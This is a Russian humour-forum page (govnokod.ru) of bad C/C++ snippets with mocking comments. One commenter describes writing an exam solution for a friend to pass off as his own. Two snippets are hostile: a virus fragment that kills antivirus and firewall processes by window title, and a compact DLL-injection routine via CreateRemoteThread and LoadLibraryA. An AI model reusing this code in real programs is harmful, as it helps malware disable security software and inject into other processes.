- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
int table[4];
bool exists_in_table(int v)
{
for (int i = 0; i <= 4; i++) {
if (table[i] == v) return true;
}
return false;
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+51
int table[4];
bool exists_in_table(int v)
{
for (int i = 0; i <= 4; i++) {
if (table[i] == v) return true;
}
return false;
}
C хабра. Возвращает true для любых чисел. http://ideone.com/bL2vGQ
Я конечно знаю что такое UB, но этот пример повеселил.
+26
#include "stdafx.h"
#include <stdio.h>
#include <iostream>
#include <conio.h>
using namespace std;
int main(){
setlocale(0,"");
int mss[4][3] = {4,2,4,3,1,9,1,6,9,1,1,9};
printf("Значение ячеек массива:\n");
cout<<mss[0][0]<<" "<<mss[0][1]<<" "<<mss[0][2]<<"\n";
cout<<mss[1][0]<<" "<<mss[1][1]<<" "<<mss[1][2]<<"\n";
cout<<mss[2][0]<<" "<<mss[2][1]<<" "<<mss[2][2]<<"\n";
cout<<mss[3][0]<<" "<<mss[3][1]<<" "<<mss[3][2]<<"\n\n";
int *p1=&mss[1][0], *p2=p1;
printf("Значения созданных указателей *p1 и *p2:\n");
cout<<*p1<<" "<<*p2<<"\n\n";
mss[3][*p1-1]=(mss[2][0]-3)*(*p1);
printf("Значение mss[3][2] после присваивания ему значения (mss[2][0]-3)*(*p1):\n");
cout<<mss[3][2]<<"\n\n";
mss[0][2]++;
printf("Значение mss[0][2] после его инкремента:\n");
cout<<mss[0][2]<<"\n\n";
*p1=(!mss[3][0]<*p2)?5*mss[3][0]/4:mss[0][2]-mss[1][2];
printf("Значение *p1 после присваивания 5*1/4=5/4=1,25=1 по условию:\n");
cout<<*p1<<"\n\n";
*p1=*p2/(mss[0][0]+1);
printf("Значение *p1 после присваивания *p2/(mss[0][0]+1):\n");
cout<<*p1<<"\n\n";
*p1=mss[0][0];
printf("Значение *p1 после присваивания mss[0][0]:\n");
cout<<*p1<<"\n\n";
p2=&mss[2][2];
printf("Значение p2 после присваивания &mss[2][2]:\n");
cout<<p2<<"\n\n";
*p2=*p2%4+mss[2][2];
printf("Значение *p2 после присваивания *p2%4+mss[2][2]:\n");
cout<<*p2<<"\n\n";
printf("Результирующие значения ячеек массива после всех вычислений:\n");
cout<<mss[0][0]<<" "<<mss[0][1]<<" "<<mss[0][2]<<"\n";
cout<<mss[1][0]<<" "<<mss[1][1]<<" "<<mss[1][2]<<"\n";
cout<<mss[2][0]<<" "<<mss[2][1]<<" "<<mss[2][2]<<"\n";
cout<<mss[3][0]<<" "<<mss[3][1]<<" "<<mss[3][2]<<"\n\n";
printf("[...Нажмите на любую клавишу для завершения работы программы...]");
_getch();
}
Я ХЗ, что это за долбонутая хренотень, но такое задание дали знакомому на экзамене, вместо которого пришлось это решать, да ещё так, что бы экзаменаторша поверила, что это сделал он ( я же ему писал и скидывал на ВК ). А он же в этом нуб похлеще меня ( я мало на плюсах писал ). Короче, это самое неэффективное и упоротое решение среди всех. Я нафига-то подключил тут conio.h, хотя его использовал 1 раз вместо system("pause"), которое было бы кстати. А ещё тут раньше было дофига комментариев, дабы чувак хоть что-то понял. Но этот код вышел в итоге настолько долбонутым, что эти комментарии даже его сделали нечитаемым вовсе. :DDDDDDD Один знакомый чувак, что на кодера учится, охренел от вида этого безобразия. Ещё одна упртсть - то, что я чередовал printf и cout. Ну и подключил в итоге лишнюю библиотеку, хотя можно было использовать что-то одно и не подключать всякую хрень. Короче, этот код ужасен. Но я писал и похлеще. :D Особенно когда пришлось однажды другому уже чуваку на ВК скидывать решения, которые я писал в блокнот с планшета с опечатками. Это было ужасно...
+26
char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};
BOOL BadWindow(LPSTR strWindow)
{
BOOL res = FALSE;
for (int i=0;i<kx;i++)
if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE;
return res;
}
BOOL CALLBACK WndEnumProcMine (HWND hwnd1,long l1)
{
LPTSTR str1 = new char[255];
GetWindowText(hwnd1,str1,255);
if (BadWindow(str1))
{
DWORD dwProcessId;
GetWindowThreadProcessId(hwnd1,&dwProcessId);
if (dwProcessId!=GetCurrentProcessId())
{
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId);
TerminateProcess(hProcess,0);
CloseHandle(hProcess);
}
}
delete str1;
return TRUE;
}
void EnumProcessesOther()
{
LPARAM c = 0;
EnumWindows((WNDENUMPROC) WndEnumProcMine,c);
}
> {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"}
> TerminateProcess(hProcess,0);
Наивный макак.
http://www.makak.ru/2008/02/27/neslozhnyj-rezidentnyj-virus-cherv-na-c/
+28
#include <iostream>
using namespace std;
int main()
{
int a; // Объявление статической переменной
int b = 5; // Инициализация статической переменной b
a = 10;
b = a + b;
cout << "b is " << b << endl;
return 0;
}
Комментарии доставляют.
http://code-live.ru/post/cpp-pointers/
+28
TLSOSI7Command &TLSLongTelegram::GetOSI7Command () const
{
if(!m_pOSI7Command) { // private pointer not initialized
// WARNING! Quick'n'dirty! is UNINITIALIZED althoug it should be - just for preventing abnormal end!
const_cast<TLSOSI7Command*>(m_pOSI7Command)=new TLSOSI7Command;
} // private pointer not initialized
else
{
// NOT private pointer not initialized
};
// NOT private pointer not initialized
return *m_pOSI7Command;
}
m)
+27
@@ -50,9 +50,6 @@ void AreaTrigger::RemoveFromWorld()
///- Remove the AreaTrigger from the accessor and from all lists of objects in world
if (IsInWorld())
{
- if (!IsInWorld())
- return;
-
WorldObject::RemoveFromWorld();
sObjectAccessor->RemoveObject(this);
}
"Core/AreaTrigger: Remove useful check"
https://github.com/TrinityCore/TrinityCore/commit/d920463fe5fe6eee7c4a8e2d777720fcfbe6f08f
+20
const char dll[] = "C:\\sperhacks\\superhack.dll";
LPVOID mem = NULL;
DWORD PID = 666;
if (WriteProcessMemory(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, FALSE, PID), (mem = VirtualAllocEx(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, FALSE, PID), NULL, sizeof(dll), MEM_COMMIT, PAGE_EXECUTE_READWRITE)), dll, sizeof(dll), NULL) && CreateRemoteThread(OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD |PROCESS_QUERY_INFORMATION, FALSE, PID), NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"), mem, NULL, NULL));
Говнопособие для самых маленьких: dll-injection в 4 строки. Можно и без кучи OpenProcess, тогда в 5 строк.
+25
case 'z':
{
int diff;
char const *sign;
if (t->tm_isdst < 0)
continue;
continue;
if (diff < 0)
{
sign = "-";
diff = -diff;
}
else
sign = "+";
pt = _add (sign, pt, ptlim);
diff /= 60;
pt = _conv ((diff / 60) * 100 + diff % 60, "%04d", pt, ptlim);
}
continue;
https://github.com/Helco/PebbleLocalSim/blob/master/additionalSource/strftime.c
байтоёбы-байтоёбики...
для упоротых - строки 7 и 8.
+28
// Пароль админа
const unsigned int AdminPassword = 42;
Откопал в своем старом коде. Кто тут говорил, что Борманд не говнокодит?
+19
wstring& delphi::IntToStr(int integer, wstring& str)
{
if (0 == integer)
return str = L"0";
str.clear();
wstring sign(L"");
if (integer < 0)
{
sign = L"-";
integer = -integer;
}
else
sign = L"";
while (integer >= 1)
{
str.push_back( (integer % 10) + 48 );
integer /= 10;
}
str += sign;
std::reverse(str.begin(), str.end());
return str;
}